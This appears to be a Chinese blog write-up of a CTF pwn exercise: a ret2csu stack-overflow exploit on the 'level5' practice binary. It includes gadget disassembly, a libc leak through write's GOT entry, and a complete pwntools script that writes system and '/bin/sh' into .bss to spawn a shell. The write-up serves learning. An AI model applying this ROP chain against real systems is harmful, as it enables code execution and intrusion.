ret2csu 蒸米 level5
ret2csu 蒸米 level5
2022年1月4日
10:23
首先找到漏洞函数:
这里V1参数存在栈溢出参数128的长度
之后发现这个64位的程序存在一个__libc_csu_init函数,相当于需要初始化
这里发现有两段gadgets
.text:00000000004005F0 loc_4005F0: ; CODE XREF: __libc_csu_init+64↓j
.text:00000000004005F0 mov rdx, r15
.text:00000000004005F3 mov rsi, r14
.text:00000000004005F6 mov edi, r13d
.text:00000000004005F9 call qword ptr [r12+rbx*8]
.text:00000000004005FD add rbx, 1
.text:0000000000400601 cmp rbx, rbp
.text:0000000000400604 jnz short loc_4005F0
.text:0000000000400606
.text:0000000000400606 loc_400606: ; CODE XREF: __libc_csu_init+48↑j
.text:0000000000400606 mov rbx, [rsp+38h+var_30]
.text:000000000040060B mov rbp, [rsp+38h+var_28]
.text:0000000000400610 mov r12, [rsp+38h+var_20]
.text:0000000000400615 mov r13, [rsp+38h+var_18]
.text:000000000040061A mov r14, [rsp+38h+var_10]
.text:000000000040061F mov r15, [rsp+38h+var_8]
.text:0000000000400624 add rsp, 38h
.text:0000000000400628 retn
这里400606的位置可以对rbx、rbp、r12、r13、r14、r15内容进行赋值。
之后利用上面4005F0这个位置可以进行函数调用,所以可以操作函数,因此可以利用两段gadgets达到漏洞利用:
gadget1=400606
gadget2=4005F0
那么利用方式就是:
#1、先调用write_got函数泄露出write函数的真实地址,之后利用他们计算出libc的地址,通过libc的地址计算出system函数的地址,以及bin/sh字符串的地址。
调用write_got函数的过程是这样的:
write_got(1,write_got,8)
rdi=1、rsi=write_got、rdx=8
gadget2这个位置的内容调用需要这样:
r15=rdx=8
r14=rsi=write_got
r13d=edi=1
r12+rbx*8=write_got
为了使jnz这里不进行跳转,因为add rbx,1处rbx=1,那么cmp处的rbx=0,rbp=1满足不跳转条件,所以r12+rbx*8这里rbx=0,所以
r12=write_got
回过头来想gadget1处的利用:
.text:0000000000400606 mov rbx, [rsp+38h+var_30]
.text:000000000040060B mov rbp, [rsp+38h+var_28]
.text:0000000000400610 mov r12, [rsp+38h+var_20]
.text:0000000000400615 mov r13, [rsp+38h+var_18]
.text:000000000040061A mov r14, [rsp+38h+var_10]
.text:000000000040061F mov r15, [rsp+38h+var_8]
.text:0000000000400624 add rsp, 38h
.text:0000000000400628 retn
这里可以通过栈对rbx\rbp\r12\r13\r14\r15进行调用,因此利用漏洞函函数padding后,操作栈中内容,满足上述条件,这里要说明的是add rsp,38h这里因为rsp+38h所以还需要padding38h的数据之后再操作返回地址。
具体操作:
#初始化,准备工作
from pwn import *
file_path = './level5'
context(binary=file_path,os='linux')
elf = ELF(file_path)
#这里的so文件需要使用ldd命令查看
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p = process(file_path)
#获取write_got地址
write_got = elf.got['write']
#获取read_got地址,第二段漏洞利用需要用到
read_got = elf.got['read']
#获取main函数地址
main_addr = 0x400564
#这里要说明下因为不清楚栈空间如何布局所以可以先采用如下方式动态调试查看栈内空间:
#payload1 = padding1 + p64(gadget1) + b'C'*8 + b'D'*8 + b'E'*8 + b'F'*8 + b'G'*8 + b'H'*8 + padding2 + p64(main_addr)
#padding1 = b'A'*0x80 + b'B'*0x8
#padding2 = b'\00'*0x38
payload1 = b'A'*0x80 + b'B'*0x8 + p64(gadget1) + b'C'*8 + b'D'*8 + b'E'*8 + b'F'*8 + b'G'*8 + b'H'*8
#这里调试的时候先下在漏洞函数处
gdb.attach(p,"b *0x400544")
p.sendafter('Hello, World\n',payload1)
p.interactive()
这里执行完一轮之后获取到的栈空间分布是这样的:
所以payload1的布局就是这样的:
payload1 = b'A'*0x80 + b'B'*0x8 + p64(gadget1) + p64(rsp) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) +p64(r15) + p64(gadget2) + padding2 + p64(main_addr)
payload1 = b'A'*0x80 + b'B'*0x8 + p64(gadget1) + p64(0) + p64(0) + p64(1) + p64(write_got) + p64(1) + p64(write_got) + p64(rdx) + padding2 + p64(main_addr)
padding2 = 0x38
payload1 = b'A'*0x80 + b'B'*0x8 + p64(gadget1) + p64(0) + p64(0) + p64(1) + p64(write_got) + p64(1) + p64(write_got) + p64(8) + p64(gadget2) +b'C'*0x38 + p64(main_addr)
payload1打进去之后能获取write_addr,通过write_addr获取libc的偏移。
第一段leaklibc的漏洞利用,这里只写了关键步骤:
gadget1 = 0x400606
gadget2 = 0x4005F0
payload1 = b'A'*0x80 + b'B'*0x8 + p64(gadget1) + p64(0) + p64(0) + p64(1) + p64(write_got) + p64(1) + p64(write_got) + p64(8) + p64(gadget2) +b'C'*0x38 + p64(main_addr)
#这里调试的时候先下在漏洞函数处
#gdb.attach(p,"b *0x400544")
p.sendafter('Hello, World\n',payload1)
#接收8位字符串内容
write_addr = u64(p.recv(8))
print(hex(write_addr))
#获取libc的偏移
libc_base = write_addr - libc.sym['write']
print(hex(libc_base))
#获取system地址
system_addr = libc_base + libc.sym['system']
print(hex(system_addr))
#获取binsh字符串地址
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
print(hex(binsh_addr))
疑问:
#2、调用read函数对得到的system函数地址以及binsh字符串地址写入bss段。
调用read(0,bss,16)
payload2 = b'A'*0x80 + b'B'*0x8 + p64(gadget1) + p64(0) + p64(0) + p64(1) + p64(read_got) + p64(0) + p64(read_got) + p64(16) + p64(gadget2) +b'C'*0x38 + p64(main_addr)
疑问这样发送payload2之后紧接着发送systemaddr以及binsh字符串为什么这样做呢?前面不是已经又binsh的字符串地址了吗?可以这样做吗?p64(system_addr) + p64(binsh_addr)
payload2 = b'A'*0x80 + b'B'*0x8 + p64(gadget1) + p64(0) + p64(0) + p64(1) + p64(read_got) + p64(0) + p64(bss_got) + p64(16) + p64(gadget2) +b'C'*0x38 + p64(main_addr)
p.sendafter('Hello, World\n',payload2)
p.sleep(1)
p.send(p64(system_addr) + p64(binsh_addr))
p.sleep(1)
#3、之后再调用bss段的system函数地址执行bin/sh之后获得相应的shell。
下面的这段payload3调用为什么那么怪怪的跟最初的payload相比较为什么需要这样构造呢?:
rsp=0\rbx=0\rbp=1\r12=bss_addr\r13=bss_addr+8\r14=0\r15=0
payload1 = b'A'*0x80 + b'B'*0x8 + p64(gadget1) + p64(rsp) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) +p64(r15) + p64(gadget2) + padding2 + p64(main_addr)
payload3 = b'A'*0x80 + b'B'*0x8 + p64(gadget1) + p64(0) + p64(0) + p64(1) + p64(bss_addr) + p64(bss_addr+8) + p64(0) + p64(0) + p64(gadget2) +b'C'*0x38 + p64(main_addr)
上述payload3打入的时候存在一个问题,不能够正常回显:
将payload3内容padding2中的b'c'改为b'\x00'能正常回显(疑问?为什么必须得这样):
payload3 = b'A'*0x80 + b'B'*0x8 + p64(gadget1) + p64(0) + p64(0) + p64(1) + p64(bss_addr) + p64(bss_addr+8) + p64(0) + p64(0) + p64(gadget2) +b'\x00'*0x38 + p64(main_addr)
######第三步##############################调用system执行binsh############
payload3 = b'A'*0x80 + b'B'*0x8
payload3 += p64(gadget1)
payload3 += p64(0)
payload3 += p64(0)
payload3 += p64(1)
payload3 += p64(bss_addr)
payload3 += p64(bss_addr+8)
payload3 += p64(0)
payload3 += p64(0)
payload3 += p64(gadget2)
payload3 += b'\x00'*0x38
payload3 += p64(main_addr)
p.sendafter('Hello, World\n',payload3)
p.interactive()
最终exp:
#-*- coding:utf-8 -*-
#初始化,准备工作
from pwn import *
file_path = './level5'
context(binary=file_path,os='linux')
elf = ELF(file_path)
#这里的so文件需要使用ldd命令查看
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p = process(file_path)
#获取write_got地址
write_got = elf.got['write']
#获取read_got地址,第二段漏洞利用需要用到
read_got = elf.got['read']
#获取main函数地址
main_addr = 0x400564
#这里要说明下因为不清楚栈空间如何布局所以可以先采用如下方式动态调试查看栈内空间:
#payload1 = padding1 + p64(gadget1) + b'C'*8 + b'D'*8 + b'E'*8 + b'F'*8 + b'G'*8 + b'H'*8 + padding2 + p64(main_addr)
#padding1 = b'A'*0x80 + b'B'*0x8
#padding2 = b'\00'*0x38
gadget1 = 0x400606
gadget2 = 0x4005F0
##第一步##############################leaklibc#####################################
payload1 = b'A'*0x80 + b'B'*0x8
payload1 += p64(gadget1)
payload1 += p64(0)
payload1 += p64(0)
payload1 += p64(1)
payload1 += p64(write_got)
payload1 += p64(1)
payload1 += p64(write_got)
payload1 += p64(8)
payload1 += p64(gadget2)
payload1 += b'C'*0x38
payload1 += p64(main_addr)
#这里调试的时候先下在漏洞函数处
#gdb.attach(p,"b *0x400544")
p.sendafter('Hello, World\n',payload1)
#接收8位字符串内容
write_addr = u64(p.recv(8))
#获取write函数的地址
print("write_addr:"+hex(write_addr))
#获取libc的偏移
libc_base = write_addr - libc.sym['write']
print("libc_base:"+hex(libc_base))
#获取system地址
system_addr = libc_base + libc.sym['system']
print("system_addr:"+hex(system_addr))
#获取binsh字符串地址
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
print("binsh_addr:"+hex(binsh_addr))
##第二步##############################read(0,bss,16)#####################################
bss_addr = 0x601028
payload2 = b'A'*0x80 + b'B'*0x8
payload2 += p64(gadget1)
payload2 += p64(0)
payload2 += p64(0)
payload2 += p64(1)
payload2 += p64(read_got)
payload2 += p64(0)
payload2 += p64(bss_addr)
payload2 += p64(16)
payload2 += p64(gadget2)
payload2 += b'C'*0x38
payload2 += p64(main_addr)
p.sendafter('Hello, World\n',payload2)
sleep(1)
p.send(p64(system_addr) + b'/bin/sh\x00')
sleep(1)
######第三步##############################调用system执行binsh############
payload3 = b'A'*0x80 + b'B'*0x8
payload3 += p64(gadget1)
payload3 += p64(0)
payload3 += p64(0)
payload3 += p64(1)
payload3 += p64(bss_addr)
payload3 += p64(bss_addr+8)
payload3 += p64(0)
payload3 += p64(0)
payload3 += p64(gadget2)
payload3 += b'\x00'*0x38
payload3 += p64(main_addr)
p.sendafter('Hello, World\n',payload3)
p.interactive()
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】凌霞软件回馈社区,博客园 & 1Panel & Halo 联合会员上线
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】博客园社区专享云产品让利特惠,阿里云新客6.5折上折
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步